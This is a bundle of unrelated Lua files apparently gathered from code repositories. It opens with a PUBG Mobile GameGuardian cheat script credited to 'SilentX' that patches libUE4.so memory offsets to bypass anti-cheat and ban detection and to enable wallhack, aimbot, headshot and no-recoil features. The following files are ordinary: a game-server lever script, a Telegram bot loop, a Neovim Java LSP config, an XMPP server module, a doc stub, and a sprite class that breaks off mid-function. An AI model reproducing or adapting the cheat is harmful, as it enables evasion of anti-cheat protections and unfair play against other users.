qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) xgjg = true end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "" .. xgsl .. "") else gg.toast(qmnb[2]["name"] .. "") end end end end
--Bypass 3rd party
gg.clearResults()
gg.setRanges(gg.REGION_CODE_APP)
gg.searchNumber("13,073.3740234375", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(9999)
gg.editAll("0", gg.TYPE_FLOAT)
gg.clearResults()
gg.setRanges(gg.REGION_CODE_APP)
gg.searchNumber("9.21956299e-41", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(9999)
gg.editAll("0", gg.TYPE_FLOAT)
gg.clearResults()
--AntiCheat Bypass
gg.setValues({
[1] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1D40C98, --AllCreditReservedBySilentX
['flags'] = 16,
['value'] = 0.0,
},
[2] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1C57DEC,
['flags'] = 16,
['value'] = 0.0,
},
[3] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1DBA718,
['flags'] = 16,
['value'] = 0.1,
},
[4] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1d40c84,
['flags'] = 16,
['value'] = 0.7,
},
[5] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1d1ddd4,
['flags'] = 16,
['value'] = 0.1,
},
[6] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1c55c10,
['flags'] = 16,
['value'] = 0.1,
},
[7] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1dba704,
['flags'] = 16,
['value'] = 0.3,
},
[8] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1d40d48,
['flags'] = 16,
['value'] = 0,
},
[9] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1d40cac,
['flags'] = 16,
['value'] = 0.1,
},
[10] = {
-- Antiban
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1d1dff0,
['flags'] = 16,
['value'] = 0.1,
},
})
gg.alert("🇼🇪🇱🇨🇴🇲🇪\n\nThis Script Is Build By SilentX\nThis Notification Must Be At Logo Unless Restart")
function Main()
gg.setVisible(false)
me1 = gg.multiChoice({
"┏⌬ Wallhack + Color",
"┏⌬ Aimbot + Instant Hit",
"┏⌬ Headshot + MB(Every Game)",
"┏⌬ Recoil + Crosshair",
"┏⌬ No Fog + No grass",
"┏⌬ ipad View",
"❗ᴇxɪᴛ ❗"
}, nil, "======☠️ ꜱɪʟᴇɴᴛx ☠️======\n 🔥ᴘᴜʙɢ ᴠᴇʀꜱɪᴏɴ : 1.1.0🔥\n ʙᴜɪʟᴅ ʙʏ ꜱɪʟᴇɴᴛx\nAll rights reserved by SilentX\nCopyright © GAME {4368656174}")
if me1 == nil then
else
if me1[1] == true then
wh1()
end
if me1[2] == true then
high()
end
if me1[3] == true then
long()
end
if me1[4] == true then
recoil()
end
if me1[5] == true then
fon()
end
if me1[6] == true then
foff()
end
if me1[7] == true then
Exit()
end
end
XGCK = -1
end
function wh1()
LO = gg.alert("➧ᴄʜᴏᴏsᴇ ᴏɴᴇ 🖤","⟬ wallhack 600+ 🔥⟭", "⟬ wallhack 710 - 855 🔥⟭")
if LO == nil then
else
if LO == 1 then
L100()
end
if LO == 2 then
L50()
end
end
XGCK = -1
end
function L100()
gg.clearResults()
if gg.REGION_VIDEO == nil then
VB = gg.REGION_BAD
else
VB = gg.REGION_VIDEO
end
gg.setRanges(VB)
gg.searchNumber("1.8948778e-40;4.7408166e21;2.0:93", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.refineNumber("2", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(100)
gg.editAll("120", gg.TYPE_FLOAT)
gg.clearResults()
if gg.REGION_VIDEO == nil then
VB = gg.REGION_BAD
else
VB = gg.REGION_VIDEO
end
gg.setRanges(VB)
gg.searchNumber("3.37670946121;3.37548875809;2.0:149", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.refineNumber("2", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(100)
gg.editAll("120", gg.TYPE_FLOAT)
gg.clearResults()
gg.clearResults()
if gg.REGION_VIDEO == nil then
VB = gg.REGION_BAD
else
VB = gg.REGION_VIDEO
end
gg.clearResults()
gg.setRanges(VB)
gg.searchNumber("537133071;8200;1194380048:9", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber("8200", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(20)
gg.editAll("6", gg.TYPE_DWORD)
gg.clearResults()
gg.toast("WallHack 600+")
end
function L50()
gg.clearResults()
if gg.REGION_VIDEO == nil then
VB = gg.REGION_BAD
else
VB = gg.REGION_VIDEO
end
gg.setRanges(VB)
gg.searchNumber("5.1097599e21;8.2676609e-44;2.0:13", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.refineNumber("2", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(100)
gg.editAll("120", gg.TYPE_FLOAT)
gg.clearResults()
if gg.REGION_VIDEO == nil then
VB = gg.REGION_BAD
else
VB = gg.REGION_VIDEO
end
gg.setRanges(VB)
gg.searchNumber("2.0;0.69314718246;0.00999999978:29", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.refineNumber("2", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(100)
gg.editAll("120", gg.TYPE_FLOAT)
gg.clearResults()
gg.clearResults()
if gg.REGION_VIDEO == nil then
VB = gg.REGION_BAD
else
VB = gg.REGION_VIDEO
end
gg.clearResults()
gg.setRanges(VB)
gg.searchNumber("537133066;8200;1194344459;8201:13", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber("8200", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(20)
gg.editAll("7", gg.TYPE_DWORD)
gg.clearResults()
gg.toast("WallHack 710-855")
end
function high()
--aim lock
gg.setValues({
[1] = {
-- aimbot
['address'] = gg.getRangesList('libUE4.so')[1].start + 0xfb1944,
['flags'] = 16,
['value'] = -9.9066194e27,
},
[2] = {
-- aimbot
['address'] = gg.getRangesList('libUE4.so')[1].start + 0xfb47ec,
['flags'] = 16,
['value'] = 0,
},
[3] = {
-- aimbot
['address'] = gg.getRangesList('libUE4.so')[1].start + 0xfb47f0,
['flags'] = 16,
['value'] = 0,
},
[4] = {
-- aimbot
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x5fc07b4,
['flags'] = 16,
['value'] = -9.9066194e27,
},
[5] = {
-- aimbot
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x5fcd178,
['flags'] = 16,
['value'] = -9.0338317e22,
},
})
gg.clearResults()
qmnb = {
{["memory"] = 16384},
{["name"] = ""},
{["value"] = -2122039811075405307, ["type"] = 32},
{["lv"] = -1903895621994000383, ["offset"] = -140, ["type"] = 32},
}
qmxg = {
{["value"] = -3.696555277833145E20, ["offset"] = -140, ["type"] = 16},
}
xqmnb(qmnb)
gg.clearResults()
qmnb = {
{["memory"] = 16384},
{["name"] = ""},
{["value"] = -2.952560267547818E20, ["type"] = 16},
{["lv"] = -3.8685626227668134E25, ["offset"] = 8, ["type"] = 16},
}
qmxg = {
{["value"] = -9.906618186695805E27, ["offset"] = 0, ["type"] = 16},
{["value"] = -9.906618186695805E27, ["offset"] = 4, ["type"] = 16},
{["value"] = -9.906618186695805E27, ["offset"] = -4, ["type"] = 16},
}
xqmnb(qmnb)
gg.clearResults()
gg.clearResults()
gg.setValues({
[1] = {
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x24A74B0,
['flags'] = 16,
['value'] = 0,
},
})
gg.setValues({
[1] = {
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x37c1ba4,
['flags'] = 16,
['value'] = 0,
},
})
end
function long()
gg.setRanges(gg.REGION_ANONYMOUS)
gg.searchNumber("25;30.5",gg.TYPE_FLOAT,false,gg.SIGN_EQUAL,0,-1)
gg.getResults(3)
gg.editAll("180",gg.TYPE_FLOAT)
gg.clearResults()
gg.setRanges(gg.REGION_ANONYMOUS)
gg.searchNumber("33;69.5",gg.TYPE_FLOAT,false,gg.SIGN_EQUAL,0,-1)
gg.getResults(3)
gg.editAll("180",gg.TYPE_FLOAT)
gg.clearResults()
end
function recoil()
gg.setValues({
[1] = {
-- recoil
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x130CBF0,
['flags'] = 16,
['value'] = 0,
},
})
gg.clearResults()
gg.setValues({
[1] = {
-- Stability
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x1BB7C74,
['flags'] = 16,
['value'] = 0,
},
})
gg.clearResults()
gg.setValues({
[1] = {
-- crosshair
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x130D1A4,
['flags'] = 16,
['value'] = 0,
},
})
gg.alert("Recoil + Crosshair")
end
function fon()
gg.setValues({
[1] = {
-- No Fog
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x2C344C8,
['flags'] = 16,
['value'] = 0,
},
})
gg.setValues({
[1] = {
-- No Grass
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x2475D58,
['flags'] = 16,
['value'] = 0,
},
})
gg.alert("No Fog + No Grass")
end
function foff()
gg.setValues({
[1] = {
-- ipad View
['address'] = gg.getRangesList('libUE4.so')[1].start + 0x37307E0,
['flags'] = 16,
['value'] = 300,
},
})
gg.alert("ipad View")
end
function Exit()
print ("======☠️ ꜱɪʟᴇɴᴛx ☠️======\n🔥ᴘᴜʙɢ ᴠᴇʀꜱɪᴏɴ : 1.1.0🔥\nAll rights reserved by SilentX\nCopyright © GAME {4368656174}\nFollow My Telegram : @silentX1816\n~~~~~ᴛʜᴀɴᴋꜱ ꜰᴏʀ ᴜꜱɪɴɢ~~~~~")
os.exit()
end
function HOME()
lw = 1
Main()
end
while true do
if gg.isVisible(true) then
XGCK = 1
gg.setVisible(false)
end
gg.clearResults()
if XGCK == 1 then
Main()
end
end
|
local text = {
[1] = 'first', [2] = 'second', [3] = 'third', [4] = 'fourth', [5] = 'fifth',
[6] = 'sixth', [7] = 'seventh', [8] = 'eighth', [9] = 'ninth', [10] = 'tenth',
[11] = 'eleventh', [12] = 'twelfth', [13] = 'thirteenth', [14] = 'fourteenth', [15] = 'fifteenth'
}
local stonePositions = {
Position(32851, 32333, 12),
Position(32852, 32333, 12)
}
local function createStones()
for i = 1, #stonePositions do
Game.createItem(1304, 1, stonePositions[i])
end
Game.setStorageValue(GlobalStorage.PitsOfInfernoLevers, 0)
end
local function revertLever(position)
local leverItem = Tile(position):getItemById(1946)
if leverItem then
leverItem:transform(1945)
end
end
function onUse(player, item, fromPosition, target, toPosition, isHotkey)
if item.itemid ~= 1945 then
return false
end
local leverCount = math.max(0, Game.getStorageValue(GlobalStorage.PitsOfInfernoLevers))
if item.uid > 2049 and item.uid < 2065 then
local number = item.uid - 2049
if leverCount + 1 ~= number then
return false
end
Game.setStorageValue(GlobalStorage.PitsOfInfernoLevers, number)
player:say('You flipped the ' .. text[number] .. ' lever. Hurry up and find the next one!', TALKTYPE_MONSTER_SAY, false, player, toPosition)
elseif item.uid == 2065 then
if leverCount ~= 15 then
player:say('The final lever won\'t budge... yet.', TALKTYPE_MONSTER_SAY)
return true
end
local stone
for i = 1, #stonePositions do
stone = Tile(stonePositions[i]):getItemById(1304)
if stone then
stone:remove()
stonePositions[i]:sendMagicEffect(CONST_ME_EXPLOSIONAREA)
end
end
addEvent(createStones, 15 * 60 * 1000)
end
item:transform(1946)
addEvent(revertLever, 15 * 60 * 1000, toPosition)
return true
end
|
package.path = package.path..';.luarocks/share/lua/5.2/?.lua;.luarocks/share/lua/5.2/?/init.lua'
package.cpath = package.cpath..';.luarocks/lib/lua/5.2/?.so'
http = require('socket.http')
https = require('ssl.https')
url = require('socket.url')
json = require('dkjson')
require("config")
require("extra")
function bot_run()
bot = nil
while not bot do
bot = send_req(send_api.."/getMe")
end
bot = bot.result
local runlog = bot.first_name.." [@"..bot.username.."]\nis run in: "..os.date("%F - %H:%M:%S")
print(runlog)
send_msg(admingp, runlog)
plugin = dofile('plugin.lua')
last_update = last_update or 0
last_cron = last_cron or os.time()
startbot = true
end
function send_req(url)
local dat, res = https.request(url)
local tab = json.decode(dat)
if res ~= 200 then return false end
if not tab.ok then
print(tab.description)
return false
end
return tab
end
function bot_updates(offset)
local url = send_api.."/getUpdates?timeout=10"
if offset then
url = url.."&offset="..offset
end
return send_req(url)
end
function load_data(filename)
local f = io.open(filename)
if not f then
return {}
end
local s = f:read('*all')
f:close()
local data = json.decode(s)
return data
end
function save_data(filename, data)
local s = json.encode(data)
local f = io.open(filename, 'w')
f:write(s)
f:close()
end
function send_msg(chat_id, text, use_markdown)
local text_len = string.len(text)
local num_msg = math.ceil(text_len / 3000)
if num_msg <= 1 then
local send = send_api.."/sendMessage?chat_id="..chat_id.."&text="..url.escape(text).."&disable_web_page_preview=true"
if use_markdown then
send = send.."&parse_mode=Markdown"
end
return send_req(send)
else
text = text:gsub("*","")
text = text:gsub("`","")
text = text:gsub("_","")
local f = io.open("large_msg.txt", 'w')
f:write(text)
f:close()
local send = send_api.."/sendDocument"
local curl_command = 'curl -s "'..send..'" -F "chat_id='..chat_id..'" -F "document=@large_msg.txt"'
return io.popen(curl_command):read("*all")
end
end
function send_document(chat_id, name)
local send = send_api.."/sendDocument"
local curl_command = 'curl -s "'..send..'" -F "chat_id='..chat_id..'" -F "document=@'..name..'"'
return io.popen(curl_command):read("*all")
end
function send_key(chat_id, text, keyboard, resize, mark)
local response = {}
response.keyboard = keyboard
response.resize_keyboard = resize
response.one_time_keyboard = false
response.selective = false
local responseString = json.encode(response)
if mark then
sended = send_api.."/sendMessage?chat_id="..chat_id.."&text="..url.escape(text).."&disable_web_page_preview=true&reply_markup="..url.escape(responseString)
else
sended = send_api.."/sendMessage?chat_id="..chat_id.."&text="..url.escape(text).."&parse_mode=Markdown&disable_web_page_preview=true&reply_markup="..url.escape(responseString)
end
return send_req(sended)
end
function string:input()
if not self:find(' ') then
return false
end
return self:sub(self:find(' ')+1)
end
function msg_receive(msg)
if msg.date < os.time() - 5 then return end
if not msg.text then
msg.text = msg.caption or ''
end
if string.match(msg.text:lower(), '^[@'..bot.username..']*') then
blocks = load_data("../blocks.json")
if blocks[tostring(msg.from.id)] then
return
end
flood = load_data("../flood.json")
if not flood[tostring(msg.from.id)] then
flood[tostring(msg.from.id)] = {f=0,d=msg.date}
save_data("../flood.json", flood)
end
if flood[tostring(msg.from.id)].f > 15 then
if flood[tostring(msg.from.id)].d > msg.date - 4 then
if msg.chat.id == admingp or msg.from.id == bot.id then
flood[tostring(msg.from.id)] = {f=1,d=msg.date}
save_data("../flood.json", flood)
else
blocks[tostring(msg.from.id)] = true
save_data("../blocks.json", blocks)
send_msg(msg.from.id, "_You are_ *Blocked* _for spaming_", true)
send_msg((admingp or sudo_id), msg.from.id.." _for spaming_ *Blocked*", true)
flood[tostring(msg.from.id)] = {f=1,d=msg.date}
save_data("../flood.json", flood)
return
end
else
flood[tostring(msg.from.id)] = {f=1,d=msg.date}
save_data("../flood.json", flood)
end
else
flood[tostring(msg.from.id)].f = flood[tostring(msg.from.id)].f+1
save_data("../flood.json", flood)
end
local success, result = pcall(
function()
return plugin.launch(msg)
end
)
if not success then
print(msg.text, result)
return
end
if type(result) == 'table' then
msg = result
elseif result ~= true then
return
end
end
end
function query_receive(msg)
local success, result = pcall(
function()
return plugin.inline(msg)
end
)
if not success then
return
end
if type(result) == 'table' then
msg = result
elseif result ~= true then
return
end
end
bot_run()
while startbot do
local res = bot_updates(last_update+1)
if res then
for i,v in ipairs(res.result) do
last_update = v.update_id
if v.edited_message then
msg_receive(v.edited_message)
elseif v.message then
msg_receive(v.message)
elseif v.inline_query then
query_receive(v.inline_query)
end
end
else
print("error while")
end
if last_cron < os.time() - 30 then
if plugin.cron then
local res, err = pcall(
function()
plugin.cron()
end
)
if not res then print('error: '..err) end
end
last_cron = os.time()
end
end |
local utils = require('me.utils')
local home = utils.home
local on_attach = utils.on_attach
local capabilities = utils.capabilities
local jdtls = require('jdtls')
vim.opt_local.colorcolumn = '100'
local on_attach_jdtls = function(client, bufnr)
on_attach(client, bufnr)
jdtls.setup_dap({hotcodereplace = 'auto'})
jdtls.setup.add_commands() -- Must be run after `setup_dap`
utils.buf_map('n', '<LocalLeader>dm', '<CMD>lua require("jdtls").test_nearest_method()<CR>')
utils.buf_map('n', '<LocalLeader>dC', '<CMD>lua require("jdtls").test_class()<CR>')
end
local runtimes = {
{
name = 'JavaSE-17',
path = '/usr/lib/jvm/java-17-openjdk/'
}
}
if vim.fn.exists('win32') ~= 0 then
runtimes = {
{
name = 'JavaSE-11',
path = home .. '/scoop/apps/openjdk11/current'
},
{
name = 'JavaSE-17',
path = home .. '/scoop/apps/openjdk17/current'
}
}
end
local jdtls_root = home .. '/repos/jdtls'
local bundles = {vim.fn.glob(jdtls_root .. '/java-debug/com.microsoft.java.debug.plugin/target/com.microsoft.java.debug.plugin-*.jar')}
vim.list_extend(bundles, vim.split(vim.fn.glob(jdtls_root .. '/vscode-java-test/server/*.jar'), '\n'))
local root_dir = jdtls.setup.find_root({'.git', 'mvnw', 'gradlew'})
local configuration = jdtls_root .. '/server/config_linux'
if vim.fn.has('win32') ~= 0 then
configuration = jdtls_root .. '/server/config_win'
end
local config = {
capabilities = capabilities,
on_attach = on_attach_jdtls,
settings = {
java = {
signatureHelp = {enabled = true};
contentProvider = {preferred = 'fernflower'};
completion = {
favoriteStaticMembers = {
"org.junit.jupiter.api.Assertions.*",
"java.util.Objects.requireNonNull",
"java.util.Objects.requireNonNullElse",
"org.mockito.Mockito.*"
}
},
sources = {
organizeImports = {
starThreshold = 9999,
staticStarThreshold = 9999
}
},
codeGeneration = {
toString = {
template = "${object.className}{${member.name()}=${member.value}, ${otherMembers}}"
}
},
configuration = {runtimes = runtimes}
}
},
init_options = {bundles = bundles},
flags = {
allow_incremental_sync = true,
server_side_fuzzy_completion = true
},
root_dir = root_dir,
cmd = {
'java',
'-Declipse.application=org.eclipse.jdt.ls.core.id1',
'-Dosgi.bundles.defaultStartLevel=4',
'-Declipse.product=org.eclipse.jdt.ls.core.product',
'-Dlog.protocol=true',
'-Dlog.level=ALL',
'-Xms1g',
'--add-modules=ALL-SYSTEM',
'--add-opens', 'java.base/java.util=ALL-UNNAMED',
'--add-opens', 'java.base/java.lang=ALL-UNNAMED',
'-jar', jdtls_root .. '/server/plugins/org.eclipse.equinox.launcher_1.6.400.v20210924-0641.jar',
'-configuration', configuration,
'-data', jdtls_root .. '/.workspace' .. vim.fn.fnamemodify(root_dir, ':p:t')
}
}
jdtls.start_or_attach(config)
|
-- This plugin implements http://xmpp.org/extensions/xep-0157.html
local t_insert = table.insert;
local df_new = require "util.dataforms".new;
-- Source: http://xmpp.org/registrar/formtypes.html#http:--jabber.org-network-serverinfo
local valid_types = {
abuse = true;
admin = true;
feedback = true;
sales = true;
security = true;
support = true;
}
local contact_config = module:get_option("contact_info");
if not contact_config then -- we'll use admins from the config as default
contact_config = { admin = {}; };
local admins = module:get_option("admins");
if not admins or #admins == 0 then
module:log("debug", "No contact_info or admins in config");
return -- Nothing to attach, so we'll just skip it.
end
module:log("debug", "No contact_info in config, using admins as fallback");
--TODO fetch global admins too?
for i = 1,#admins do
t_insert(contact_config.admin, "xmpp:" .. admins[i])
module:log("debug", "Added %s to admin-addresses", admins[i]);
end
end
if not next(contact_config) then
module:log("debug", "No contacts, skipping");
return -- No use in serving an empty form.
end
local form_layout = {
{ value = "http://jabber.org/network/serverinfo"; type = "hidden"; name = "FORM_TYPE"; };
};
local form_values = {};
for t,a in pairs(contact_config) do
if valid_types[t] and a then
t_insert(form_layout, { name = t .. "-addresses", type = "list-multi" });
form_values[t .. "-addresses"] = type(a) == "table" and a or {a};
end
end
module:add_extension(df_new(form_layout):form(form_values, "result"));
|
--------------------------------
-- @module FadeOutBLTiles
-- @extend FadeOutTRTiles
-- @parent_module cc
--------------------------------
-- @function [parent=#FadeOutBLTiles] create
-- @param self
-- @param #float float
-- @param #size_table size
-- @return FadeOutBLTiles#FadeOutBLTiles ret (return value: cc.FadeOutBLTiles)
--------------------------------
-- @function [parent=#FadeOutBLTiles] clone
-- @param self
-- @return FadeOutBLTiles#FadeOutBLTiles ret (return value: cc.FadeOutBLTiles)
--------------------------------
-- @function [parent=#FadeOutBLTiles] testFunc
-- @param self
-- @param #size_table size
-- @param #float float
-- @return float#float ret (return value: float)
return nil
|
local tools = require('Utils.ToolSet')
local generateFillMesh = require('Utils.FillMesh')
local UISprite = class('UISprite')
local getters = UISprite.getters
local setters = UISprite.setters
local ZERO_ARRAY_4 = { 0,0,0,0,0,0,0,0 }
local ZERO_ARRAY_8 = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}
local ZERO_ARRAY_16 = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}
local UVS_SIMPLE = { { 0,1,0,0,1,0,1,1 }, { 1,1,1,0,0,0,0,1 }, {0,0,0,1,1,1,1,0}, {1,0,1,1,0,1,0,0} }
local TRIANGLES_4 = { 0,1,2,0,2,3 }
local TRIANGLES_8 = { 0,1,2,0,2,3, 4,5,6,4,6,7 }
local TRIANGLES_16 = { 0,1,2,0,2,3, 4,5,6,4,6,7, 8,9,10,8,10,11, 12,13,14,12,14,15 }
local TRIANGLES_SLICED = {
4,0,1,1,5,4,
5,1,2,2,6,5,
6,2,3,3,7,6,
8,4,5,5,9,8,
9,5,6,6,10,9,
10,6,7,7,11,10,
12,8,9,9,13,12,
13,9,10,10,14,13,
14,10,11,
11,15,14
}
function UISprite:ctor(owner)
self.timeScale = 1
self._owner = owner
self._width = 100
self._height = 100
self._scaleX = 1
self._scaleY = 1
self._flip = 0
self._playing = true
self._frame = 0
self._frameCount = 0
self._color = 0xFFFFFF
self._fillMethod = 0
self._objType = 0
self._isDisplayObj = self._owner.class==GImage or self._owner.class==GMovieClip
end
function UISprite:initImage(texture, scaleOption, scale9Grid)
self._texture = texture
if scaleOption==1 then
self._scale9Grid = scale9Grid
self._objType = 3
self:newRenderer(self:slicedMesh())
elseif scaleOption==2 then
display.setDefault( "textureWrapX", "repeat" )
display.setDefault( "textureWrapY", "repeat" )
self._objType = 4
self:newRenderer(self:repeatMesh())
self:setRepeatParams()
display.setDefault( "textureWrapX", "clampToEdge" )
display.setDefault( "textureWrapY", "clampToEdge" )
elseif not texture.width then --for remote image
self._objType = 2
self:setNativeObject(display.newImageRect(texture.filename, texture.baseDir, self._width, self._height))
elseif self._fillMethod~=0 then
self._objType = 4 + self._fillMethod
self:newRenderer(self:fillMesh())
self:updateFillMesh()
else
self._objType = 1
self:newRenderer(self:simpleMesh())
end
end
function UISprite:initMovieClip(interval, swing, repeatDelay, frames)
self.interval = interval
self.repeatDelay = repeatDelay
self.swing = swing
self._frames = frames
self._frameCount = #frames
if self._status==nil then
self:setPlaySettings(0,-1,0,-1)
else
if self._end == -1 or self._end > self._frameCount - 1 then
self._end = self._frameCount - 1
end
if self._endAt == -1 or self._endAt > self._frameCount - 1 then
self._endAt = self._frameCount - 1
end
end
if self._frame < 0 or self._frame > self._frameCount - 1 then
self._frame = self._frameCount - 1
end
self._frameElapsed = 0
self._repeatedCount = 0
self._reversed = false
if self._frameCount>0 then
self._texture = self._frames[1].texture
self._objType = 1
self:newRenderer(self:simpleMesh())
self:drawFrame()
self:checkTimer()
else
self:clear()
end
end
function UISprite:clear()
if self.nativeObject then
self.nativeObject.fill = nil
end
self._frames = nil
self._texture = nil
self._objType = 0
self._owner:cancelFrameLoop(self.enterFrame, self)
end
function UISprite:setPosition(x, y)
self.nativeObject.x = x
self.nativeObject.y = y
end
function UISprite:setSize(w, h)
if self._width==w and self._height==h then return end
self._width = w
self._height = h
if not self.nativeObject then return end
if self._objType==2 then
self.nativeObject.width = w
self.nativeObject.height = h
elseif self._objType==3 then
self:updateSlicedMesh()
if self._isDisplayObj then
self:setAnchor(self._owner._pivotX, self._owner._pivotY)
end
elseif self._objType==4 then
self:updateRepeatMesh()
self:setRepeatParams()
if self._isDisplayObj then
self:setAnchor(self._owner._pivotX, self._owner._pivotY)
end
else
self:applyScale()
end
end
function UISprite:setScale(x, y)
self._scaleX = x
self._scaleY = y
if self.nativeObject then
self:applyScale()
end
end
function UISprite:setAnchor(x, y)
local obj = self.nativeObject
if obj then
obj.anchorX = x * (self._width / self._sourceWidth)
obj.anchorY = y * (self._height / self._sourceHeight)
end
end
function UISprite:applyScale()
local scaleX
local scaleY
if self._objType==1 or self._objType>=5 then
local w = self._texture.sourceWidth or self._texture.width
local h = self._texture.sourceHeight or self._texture.height
scaleX = self._width/w*self._scaleX
scaleY = self._height/h*self._scaleY
else
scaleX = self._scaleX
scaleY = self._scaleY
end
if scaleX==0 or scaleY==0 then
self.nativeObject.xScale = 0.00001
self.nativeObject.yScale = 0.00001
else
self.nativeObject.xScale = scaleX
self.nativeObject.yScale = scaleY
end
end
function getters:color()
return self._color
end
function setters:color(value)
if self._color ~= value then
self._color = value
if self.nativeObject then
self.nativeObject:setFillColor(tools.unpackColor(self._color))
end
end
end
function getters:flip()
return self._flip
end
function setters:flip(value)
if self._flip ~= value then
self._flip = value
if not self.nativeObject then return end
if self._objType==1 then
self:updateSimpleMesh()
elseif self._objType==3 then
self:updateSlicedMesh()
elseif self._objType==4 then
self:updateRepeatMesh()
self:setRepeatParams()
elseif self._objType>=5 then
self:updateFillMesh()
end
end
end
function getters:fillMethod()
return self._fillMethod
end
function setters:fillMethod(value)
if self._fillMethod~=value then
if self._objType==2 or self._objType==3 or self._objType==4 then
return --not supported
end
self._fillMethod = value
if self._fillMethod==0 then
self._objType = 1
self:newRenderer(self:simpleMesh())
else
self._objType = 4+self._fillMethod
self:newRenderer(self:fillMesh())
self:updateFillMesh()
end
end
end
function getters:fillOrigin()
return self._fillOrigin
end
function setters:fillOrigin(value)
if self._fillOrigin~=value then
self._fillOrigin = value
self:updateFillMesh()
end
end
function getters:fillClockwise()
return self._fillClockwise
end
function setters:fillClockwise(value)
if self._fillClockwise~=value then
self._fillClockwise = value
self:updateFillMesh()
end
end
function getters:fillAmount()
return self._fillAmount
end
function setters:fillAmount(value)
if self._fillAmount~=value then
self._fillAmount = value
self:updateFillMesh()
end
end
function getters:playing()
return self._playing
end
function setters:playing(value)
if self._playing ~= value then
self._playing = value
self:checkTimer()
end
end
function getters:frame()
return self._frame
end
function setters:frame(value)
if self._frame ~= value then
if self._frames ~= nil and value >= self._frameCount then
value = self._frameCount - 1
end
self._frame = value
self._frameElapsed = 0
self:drawFrame()
end
end
function UISprite:rewind()
self._frame = 0
self._frameElapsed = 0
self._reversed = false
self._repeatedCount = 0
self:drawFrame()
end
function UISprite:syncStatus(anotherMc)
self._frame = anotherMc._frame
self._frameElapsed = anotherMc._frameElapsed
self._reversed = anotherMc._reversed
self._repeatedCount = anotherMc._repeatedCount
self:drawFrame()
end
function UISprite:advance(time)
local beginFrame = self._frame
local beginReversed = self._reversed
local backupTime = time
while (true) do
local tt = self.interval + self._frames[self._frame+1].addDelay
if self._frame == 0 and self._repeatedCount > 0 then
tt = tt + self.repeatDelay
end
if time < tt then
self._frameElapsed = 0
break
end
time = time - tt
if self.swing then
if self._reversed then
self._frame = self._frame - 1
if self._frame <= 0 then
self._frame = 0
self._repeatedCount = self._repeatedCount+1
self._reversed = not self._reversed
end
else
self._frame = self._frame+1
if self._frame > self._frameCount - 1 then
self._frame = math.max(0, self._frameCount - 2)
self._repeatedCount = self._repeatedCount+1
self._reversed = not self._reversed
end
end
else
self._frame = self._frame+1
if self._frame > self._frameCount - 1 then
self._frame = 0
self._repeatedCount = self._repeatedCount+1
end
end
if self._frame == beginFrame and self._reversed == beginReversed then --走了一轮了
local roundTime = backupTime - time --这就是一轮需要的时间
time = time - math.floor(time / roundTime) * roundTime --跳过
end
end
self:drawFrame()
end
function UISprite:setPlaySettings(start, endf, times, endAt)
self._start = start
self._end = endf
if self._end == -1 or self._end > self._frameCount - 1 then
self._end = self._frameCount - 1
end
self._times = times
self._endAt = endAt
if self._endAt == -1 then
self._endAt = self._end
end
self._status = 0
self.frame = start
end
function UISprite:checkTimer()
if self._playing and self._frameCount > 0 then
self._owner:frameLoop(self.enterFrame, self)
else
self._owner:cancelFrameLoop(self.enterFrame, self)
end
end
function UISprite:enterFrame(dt)
if not self._playing or self._frameCount == 0 or self._status == 3 then return end
if self.timeScale ~= 1 then dt = dt * self.timeScale end
self._frameElapsed = self._frameElapsed + dt
local tt = self.interval + self._frames[self._frame+1].addDelay
if self._frame == 0 and self._repeatedCount > 0 then
tt = tt + self.repeatDelay
end
if self._frameElapsed < tt then return end
self._frameElapsed = self._frameElapsed - tt
if self._frameElapsed > self.interval then
self._frameElapsed = self.interval
end
if self.swing then
if self._reversed then
self._frame = self._frame-1
if self._frame <= 0 then
self._frame = 0
